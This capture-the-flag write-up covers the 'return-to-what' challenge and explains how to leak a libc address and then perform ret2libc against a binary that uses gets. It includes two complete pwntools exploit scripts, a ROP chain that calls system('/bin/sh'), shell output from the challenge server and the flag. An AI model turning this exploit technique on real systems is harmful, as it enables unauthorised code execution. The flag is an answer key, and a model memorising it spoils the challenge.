Leaking Libc addresses to do ret2libc with unknown libc

First lets take a look at the binary mitigations

{} ret2what checksec return-to-what
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Nx is enabled so we can’t do a bof and place our shellcode to get a shell and no canary which makes it easier and ASLR is probably enabled.

Decompilation and Disassembly

The decompilation of the assembly code looks like this


undefined8 main(void)
{
    puts("Today, we\'ll have a lesson in returns.");
    vuln();
    return 0;
}
pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004011ad <+0>: push   rbp
   0x00000000004011ae <+1>: mov    rbp,rsp # prologue
   0x00000000004011b1 <+4>: lea    rdi,[rip+0xe78] # rdi = address of [rip+0xe78]     
   0x00000000004011b8 <+11>: call   0x401030 <puts@plt> # call puts function
   0x00000000004011bd <+16>: mov    eax,0x0 # eax = 0x0
   0x00000000004011c2 <+21>: call   0x401185 <vuln> # call vuln function which has the vulnerable gets function which we use to do bof
   0x00000000004011c7 <+26>: mov    eax,0x0 # eax = 0x0
   0x00000000004011cc <+31>: pop    rbp # epilogue
   0x00000000004011cd <+32>: ret
End of assembler dump.

In addition lets take a look at the vuln function too


void vuln(void)
{
    char *s;
    
    puts("Where would you like to return to?");
    gets(&s);
    return;
}

we know that gets is a vulnerable function which we can use to do a buffer overflow

Gadgets

we’ll use the pop rdi gadget which is needed to pass a parameter to the called function and the ret gadget to align our stack

Leaking address of Libc

Now lets craft our exploit to leak address of libc and i previously found out the offset to do bof is 56

#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)

io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
    cyclic(56), p64(pop_rdi),  exe.sym['__libc_start_main'],  exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
io.close()

Here i leaked the address of __libc_start_main

Now lets run our exploit script in order to leak libc address

{} python exploit.py
[*] '/home/h4x5p4c3/Desktop/tmp/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
    RUNPATH:  b'/home/h4x5p4c3/Desktop/tmp'
[+] Starting local process '/home/h4x5p4c3/Desktop/tmp/return-to-what': pid 4000
[*] __libc_start_main leak 0x7f1d48463ab0

Now we leaked our libc address which is 0x7f1d48463ab0, lets find the version of libc now in order to calculate offset of other libc functions

Lets use libc database search to find the version of libc » Libc Database

Now that we found out the libc version, here i assumed it to be the first libc so i choose to use libc6_2.27-3ubuntu1_amd64.so

Lets craft our final exploit script and run in on the remote server to get a shell and grab our flag 🚩

#!/usr/bin/env python3
from pwn import *
context.terminal = ['alacritty', '-e', 'sh', '-c']
context.log_level = 'info'
exe = context.binary = ELF('./return-to-what', checksec=True)
libc = ELF('./libc.so.6', checksec=True)

io = process(exe.path)
#io = remote('chal.duc.tf', 30003)
#gdb.attach(io)
pop_rdi = 0x000000000040122b
ret = 0x0000000000401016
leak = flat([
    cyclic(56), p64(pop_rdi),  exe.sym['__libc_start_main'],  exe.plt['puts'], exe.sym['_start']
])
io.sendline(leak)
io.recvline()
io.recvline()
recieved = io.recvline().strip()
libc_leak = u64(recieved.ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym['__libc_start_main']
log.info("__libc_start_main leak {}".format(hex(libc_leak)))
log.info("libc base {}".format(hex(libc.address)))
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
log.info("/bin/sh {}".format(hex(bin_sh)))
log.info("system {}".format(hex(system)))
payload = flat([
    cyclic(56), ret, pop_rdi, bin_sh, system
])
io.recv()
io.sendline(payload)
io.interactive()

Lets run our exploit as expected we get a shell so we’ll cat out the flag now

{} python exploit.py
[+] Opening connection to chal.duc.tf on port 30003: Done
[*] '/home/h4x5p4c3/Downloads/ret2what/return-to-what'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/h4x5p4c3/Downloads/ret2what/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts@plt: 0x401030
[*] __libc_start_main: 0x403ff0
[*] Leaked libc address,  __libc_start_main: 0x7f6172d44ab0
[*] Address of libc 0x7f6172d23000
[*] bin/sh 0x7f6172ed6e9a
[*] system 0x7f6172d72440
[*] Switching to interactive mode
$ ls
flag.txt
return-to-what
$ cat flag.txt
DUCTF{ret_pUts_ret_main_ret_where???}